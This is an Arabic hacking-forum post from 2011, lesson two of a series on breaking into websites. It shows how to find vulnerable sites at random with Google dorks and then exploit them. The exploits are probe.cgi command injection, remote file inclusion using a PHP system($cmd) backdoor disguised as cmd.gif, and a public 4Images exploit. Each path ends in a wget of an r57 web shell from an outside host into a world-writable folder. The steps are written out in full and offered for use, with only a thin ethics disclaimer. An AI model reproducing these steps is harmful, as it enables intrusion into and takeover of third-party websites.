عرض مشاركة واحدة
قديم 03-18-2011, 05:31 PM   رقم المشاركة : 12 (permalink)
معلومات العضو
despond
 
الصورة الرمزية despond
 

 

 
إحصائية العضو







despond غير متواجد حالياً

إرسال رسالة عبر MSN إلى despond

 

 

إحصائية الترشيح

عدد النقاط : 10
despond is on a distinguished road

افتراضي


سلسلة تعلم اختراق المواقع من البداية الى الاحتراف

الدرس الثانى

أحب أن أنوه أن كل الدروس مجهود شخصى ولا يجب نقلها خارج المنتدى الا بذكر اسم صاحبها

والهـــدف من هـــذا الموضوع هو :::
العلـــــم , ===> والاستفادة ... ,,, وليـس مجرد تعليــم الاختراق , وتدمير المواقع ...
لأنه !!! إذا كان هدفك من تعلم الاختراق ... هو ::: تدمير المواقع , وتغير الصفحات الرئيسية للمواقع...
فتأكد أنك مازلت طفل ,,, ولا تستحق لقب ((( HaCkEr )))...
فيكيفك إحساس بالفخر عندما تقوم باختراق موقع أو سيرفر أن ترسل رسـالة إلي الأدمن ...
تبلغه بوجود ثغره فى موقعه ... وتطلب منه أن يقوم بترقيع هذه الثغرة...


srab_hacker.ops
لقد بدأنا فى الدرس السابق الحديث عن الاختراق العشوائى :

أولا يجب أن أذكر أن الاختراق العشوائى لا يثبت أنك هاكر فهو مجرد وسيلة سهلة لاختراق المواقع من دون تعب ( تلعب الصدفة دورا كبيرا ) 0

آلية الاختراق العشوائى :

أولا تقوم بالدخول على أحد مواقع السيكيورتى( سنقوم بشرح كيفية العثور على أحدث الثغرات من مواقع السيكيورتى فى الدرس القادم ) وتقوم بمعرفة أحدث الثغرات ثم نقوم بالدخول الى موقع بحث وطبعا على رأس هذه المواقع موقع جوجل خادم الهاكرز أو كما يطلقون Hackers Servant وتبحث عن المواقع المصابة بالثغرة وتطبقها وتملك الموقع ( الموضوع سهل ) 0 يالا نشوف ازاى 0 جميع الحقوق محفوظة ل SUPER TEST
أولا : قبل ما ندخل على موقع السيكيورتى لازم نعرف أنواع الثغرات 0 لأننا لو دخلنا كده وشفنا الثغرات مش هنعرف حاجة ؟؟؟ صح !!! نبتدى نعرف أنواع الثغرات

النوع الأول ثغرات Remote command exucetion
ده نوع بيمكنك من تطبيق أوامر على الموقع مباشرة 0 انت هتلخبطنا ليه ؟؟؟ يعنى ايه تطبيق أوامر على الموقع أصلا !!! ولا تزعل يا عم نشرح دى الأول وبعدين نكمل شرح الثغرات انت بتدخل على رابط الموقع www.victim.com مثلا ده الموقع المصاب بالثغرة الموقع ده فيه ملف اسمه 1.php مثلا الملف ده ههوه اللى فيه الثغرة يعنى الرابط هيبقى كده www.victim.com/1.php والثغرة موجودة فى امر root الموجود فى الملف نقوم بقه احنا نكتب فى المتصفح الشكل النهائى كده www.victim.com/1.php?root=(.......) وتكتب مكان النقط الأمر اللى هتطبقه ودى بتكون أوامر لينكس 0 طيب دلوقتى فهمنا يعنى ايه نطبق أوامر 0 ايه بقى الأوامر دى ؟؟؟؟

الأوامر دى أوامر لينكس زى أوامر الدوس كده 0 طبعا انت تقدر تطبق أوامر من على الدوس على الويندوز 0 يعنى تقدر تحذف ملف 0 وتقدر تنقل ملف 0 ده بقى نفس النظام بس الأوامر مش أوامر دوس أوامر لينكس 0 أفتكر الأمر وضح دلوقتى 0 ( يعنى شويه بس لسا مش فاهم أوى ) 0
اوكى ركز معايا 0 ندى مثال لأمر بسيط مع العلم أنه سوف يتم شرح جميع الأوامر فى درس منفصل 0 نفرض احنا عايزين نشوف كل المجلدات اللى موجوده فى السيرفر نكتب الأمر ls -al 0 هيطلع لنا كل المجلدات اللى على الموقع هندور على الملف اللى فيه الباسورد ونسحبه وناخد الباسورد 0 متستعجلش كل ده هنشرحه بالتفصيل 0

دلوقتى خلينا فى موضوعنا 0 هو احنا كنا بنتكلم عن ايه 0 اه افتكرت نكمل 0

طيب خلينا نجيب ثغره ونطبق ... وعنوان الثغرة كده ...مثــلاً ...

Probe.cgi Remote Command Execution
يعني بملف Probe.cgi فيه ثغره رموت كومند Remote Command حلو ...طيب خلونا نشوف الاكسبلويت
( السورس بتاع الثغرة .... ) ده اللى كان مكتوب فى موقع السيكيورتى

اقتباس
Authors ....... spher3 (spher3 at fatalimpulse dot net)
Date .......... 04-07-2005
Product ....... probe.cgi
Type .......... Remote Command Execution


o Info:
================
That script is used to open file '.dat'.

o Vulnerable Code:
================
..
23 [...]
24 $old = $query->param('olddat');
25 [...]
..
..
34 [...]
35 open (VF, "$olddat");
36 [...]
..

(24) At this line, the cgi param 'olddat' is associated to one database.
This variable isn't checked by anyone matching, so you can open
all file that you want. (35) At this line the script open the file
that you had chosen. With pipe `|`
is possible to execute arbitrary code on the shell.


o Proof of concept:
================

http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)


ده اللى لقيناه فى صفحة الثغرة فى موقع السيكيورتى
لو قرينا فوق موضح لك الملف ونوع الثغرة ,,,,, طيب احنا عوزين الاستثمار ... يعنى ازاى نستغل الثغرة دى

استثمارها هنا بالسطر ده ...
http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
the-vuln.site.org.<<===الموقع المستهدف وهو افتراضي يعنى انت بتحط الموقع المصاب بالثغرة هنا

cgi-bin<<===مجلد الـ cgi-bin

probe.cgi<<===الملف المصاب

olddat<<===مكان الاصابه داخل الملف ومش شرط نفس الاسم ممكن يتغير
===============

طيب ممكن نعرف كيفية عملها اوكي

اولاً ... ندخل على جوجل ونبحث بالطريقة دى
اقتباس
inurl:probe.cgi


كده هيجيب لنا اى موقع فيه الملف ده ( المصاب ) 0

أو تبحث بأى طرية تحب

لنفرض اننا حصلنا علي موقع
http://www./???.com/cgi.bin/probe.cgi?grid=ThaiGrid
مكان الاصابة اتغير هنا
كويس أول حاجه نضع
|id|
ده أمر بيبين صلاحياتك على السيرفر يعنى ايه اللى ممكن تعمله من الثغرة دى
بيطلع بالشكل
www.???.com/cgi.bin/probe.cgi?grid=|id|
واضغط انتر بيظهر لك مثلا كده
uid=99(www) gid=99(www)
هذه صفتك ( صلاحيتك ) بالسيرفر

طيب عايزين نعرف مكاننا على السيرفر
ضع مكان الـ id
pwd
أمر يبين مكانك على السيرفر على العموم احنا لسه هنشرح الأوامر دى كلها بالتفصيل ان شاء الله ان عشنا
www.???.com/cgi.bin/probe.cgi?grid=|pwd|
بيطلع معك مثلا...
/home/.???/cgi.bin
طيب دلوقتى عرفنا احنا فين نشوف مسموح لينا نرفع ملف على الموقع ولا لأ؟
ضع مكان الـ id
which wget
بالشكل,,,,,,,,,
www.???.com/cgi.bin/probe.cgi?grid=|which wget|
اداة wget أمر سحب ملف على الموقع يعنى ترفع ملف على الموقع
إذا ظهر لك كدا ...
/؟؟؟/؟؟؟/wget
وعلامات الاستفهام متغيرة يعني أهم شئ wget تظهر ... فإذا ظهرت ... فاعرف إن وضعك زي الـفــل...

يعني مسموح لك ترفع ملف ... انبسط ياعم ...

طيب عايزين نعرف التصاريح : permits للمجلدات والملفات عشان نشوف فين المسوح لينا بالرفع ( فيه مجلدات فى الموقع لك الحق انك ترفع فيها ملفات وفيه ملفات مش مسموح لك ترفع عليها )

لو ترجع احنا قلنا مكاننا فين هنا
/home/.???/cgi.bin
طيب احنا عايزين نخرج من مجلد cgi.bin للديكويتري ( المجلد ) الرئيسي ... حلو !

نضع مكان الـ id
cd /home/.???/;pwd
يعني بيكون بالشكل
www.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/;pwd|
الآن بيرجعنا إلى ...home/.???/
حلو الآن ... عايزين نشوف المجلدات والملفات و التصريحات لأن التصريحات دى اللى هتعرفنا المجلدات اللى لك حق الرفع عليها بالأمر ...
ls -al
بيطلع كدا ::::::
www.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/;ls%20-al|
بتظهر لك ملفات ومجلدات الموقع وأمامهم تصريحاتهم...

إنت ابحث عن المجلد اللي له التصريح
drwxrwxrwx والتصريح ده اسمه 777
لنفرض انك حصلت أمام مجلد الصور أو uploads تصريح ( drwxrwxrwx = 777 )

أولا ... لازم تخش عليه ... تعمل
cd home/.???/uploads/;pwd
www.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/uploads/;pwd|
حلو بيكون وضعك بالشكل
home/.???/uploads/
يعني داخل مجلد uploads
الآن كل ما عليك رفع الشل ( هنشرح الشل بالتفصيل بعدين ) ان شاء الله ... طبعا لك شل مرفوع بأحد المواقع ... يعني نفترض رابط شيلك Your Shell
www.XXX.com/r57shell.zip
وعايز ترفعه على الموقع اللي اخترقته ... بيكون بالشكل ده ......
www.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/uploads/wget www.XXX.com/r57shell.zip*|
واعطيه انتر Enter بيظهر لك :::
r57shell.zip
طيب عايزين نفك الضغط عنه بالأمر unzip
www.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/uploads/unzip r57shell.zip*|
وديلو إنتر Enter بيطلع معك :::
r57shell.php
وألف مبروك خش وافتحه بالمتصفح وتمتع وبيكون الرابط
www.???.com/uploads/r57shell.php
( سأشرح ... كيف تتعامل مع الشل Shell , وكيف تستخدم أوامره , وما الذي تفعله بعد رفع الـ Shell ... لاحقاً )
مع تحياتى SUPER TEST

ننتقل للقسم الثاني وهي ثغرات Remote File Inclusion
الثغرات المسماه Remote File Inclusion شبيهه بعمل Remote Command Execution

بس الفرق يلزم كود لرفعه لموقعك يعنى مش هتقدر تنفذ الأمر مباشرة بس هتنفذه عن طريق ملف تانى انت تكون رافعه على موقع تانى ومن ثم تأخذ رابطه وتستخدمه لاستثمار أو الهجوم

خلونا نأخذ مثال للتوضيح ... ولنأخذ هذه الثغرة ...مثال :::
ده مثلا استغلال الثغرة :
http://www.target.net/index.php?mode.../evilcode?&cmd
لو تلاحظ بالاستغلال
http://evilcode?&cmd
http://evilcode = موقعك

?&cmd = كود مرفوع بموقعك :( ملف يعنى )
**********
افتح النوت باد Notepad وادخل هذا الكود واحفظها باسم cmd.gif

اقتباس
<?

اقتباس
system($cmd);
?>

*/


**********
أنا رافعه على موقعي
http://members.lycos.co.uk/satonline/cmd.gif?&cmd=id
وعند الاستغلال
http://www.target.net/index.php?mode...md.gif?&cmd=id
الـ id بالآخر تضع مكانها أوامر اللينكس... ( كما شرحت فى الأعلي )
والفرق بين Remote Command Execution و Remote File Inclusion
أن Remote File Inclusion فيها كود ترفعه على موقعك وتستخدم الأوامر مكان الآي دي id ((رابط موقعك مع الـ id ))

و Remote Command Execution تستخدم أوامر اللينكس على طول بدون كود مرفوع (( الـ id فقط ))


النوع الخامس ثغرات PhP


*** ^^^ طـريقة استغـلال ثغـرات الـ php مـع التطبيق ^^^ ***
<<<<>>>> ::: بسم الله نبدأ::: <<<<>>>>


ندخل بالموضوع بدون مقدمات

طيب اول شي كيف تعرف انها php ?

هتلاقى اول الكـود بتاع الثغـره مكتـوب كده

<?php
طيـب آستغلال الثغـرات دى ازاى ؟؟؟؟
تنسخها فى النوت باد وتحفظها بامتداد php وتـرفعه على موقـع , مثـل ليكوس و غيره ,

طيـب ناخـذ ثغرة
4Images <= 1.7.1 remote commands execution through arbitrary local
الثــغره في البوم الصـور 4Images الاصــدار : 1.7.1

طيــب هــذا سورس الثغــره اللي نـزل في مـواقع السكـيورتي ,

http://www.milw0rm.com/exploits/1533

زي ماشفنـا في بـداية الكـود <?php اوكـى ,
دلوقتى احـفظ الثغـره في جهـازك وانا سميتها كده 4images.php

لاحظ الامتداد الي حطـيته php وروح ارفــعها على موقع يقبل الامتــداد ده , وبعدين افتحها

http://www.xxxx.com/xxxxx/4images.php
حيث xxxxx رابط موقعك
بص ..... بعد ما تفتحها

طبـعا الطـلبات واضـحه ,,

أول خيــار : رابــط المـوقع واحط مثــال هو , http://www.sitename.com/

ثــاني خيآر : اســم المجلد ع المـوٍٍقـع , وحــاطط مثـال هو /4images/ or just او غيـره ...

ثـالث خيـار : ( أمــر لينكس او ويندوز ) وحــاطط مثال هـو
specify a command ("cat config.php" ,

وأوامـر لينكس مهــمه جـدا والكل لازم يعـرفها او يأخذ نبذه بسيـطه عنـها عشـان يعرف يتعـامل مع النظام ده وهأشرحها بالتفصيل ان شاء الله ,

طبعا احنا اخذنا الخيارات المهمه < اول ثلاث خيارات الي حـاطط عليــها * نجمه ( فى الصور التالية ) > ,

طيب بنطـبق على مـوقع مصـاب ونــشوف.
زي ماشفنا في الصـوره كتـبت الامـر ls -l وهو لـعرض الملفات مـع تصاريحها

ودى هي المـلفات دلوقتى نشوفلنا مجلد تصريحه 777 فاكرين يعنى ايه ومجلد data تصريحه 777 زي مانشـوف في الصوره

بس الملف الي احنا علي تصريحه 777 اكتـب بدال الامر ls -l الامر هذا which wget وبيقــولك !/usr/bin/wget

يعنــي تقــدر تـرفع طيب تمـام دلوقتى نرفع لنـا شل ,

زي ماشفــناء في الصـوره كتـبت كـدا

wget http://www.web4new.com/gallery/r57shell.zip


wget آ مــر الرفع والرابــط رآبـط الشل , وآظغــط ( GO )


طـيب دلوقتى عشــان تتأكد انه اترفع ... روح واكتـب الامر ls -l وبتـشوفه مع المـلفات ,

كـل شي تمام طيب دلوقتى تفـك الظغـط عن الشـل ,

unzip = امـر فك الظـغط

r57shell.zip = المـلف الي رفعناه ,

ولاحـظ الصوره بعد ماظغطنــا go , فـك الظغـط , وطـلع الملف r57shell.php ,

ودى صـوره توضــح ..

خــلاص دلوقتى كل شي تــمام تشــوف مكانك فين على السيرفر

pwd : امـر يحدد مكانك على السيرفر ,

زي ماشفـنا في الصــوره عطانا المكان اللي احنـاء فيه ,

/home/mubailes/public_html/main

فــي المجلد الرئيسي بتاع الموقع في مجلد main يعني الشل هنا

www.xxxx.com/main/r57shell.php
XXXX = رابط الموقع المصاب
ودى الصــوره بعد دخــولنا على الشــل ,


وبكــدا ان شاء الله نكون عـرفنا ازاى نستغـل ثغـرات الـ php واخذنـا الثغـره دى كمثــال ,
واكيــد كل ثغـره يفرق استثمارها عن الثانية وان شاء الله يكون الـدرس واضـح .....

الى اللقاء فى الدرس الثالث ان شاء الله
SUPER TEST
أحب أن أنوه أن كل الدروس مجهود شخصى ولا يجب نقلعا خارج المنتدى الا بذكر اسم صاحبها
جميع الحقوق محفوظة لصاحب الموضوع srab_hacker.ops:coool:
التوقيع

لا تحوال التلغيم فأن لغمت سوف يتم دعسك ونسيانك مع التاريخ
:love: شبكةالعناكب الأحترافية :love:
للتواصل + تبادل الخبرات + التعليم
كود:
sy7@live.de

الحمد لله على اني مسلم ولو لم اكن مسلم لأسلمت وقلت
لا اله الا الله وحده لا شريك له واشهد ان محمد عبده ورسوله

 


التعديل الأخير تم بواسطة despond ; 03-18-2011 الساعة 05:39 PM.

   

رد مع اقتباس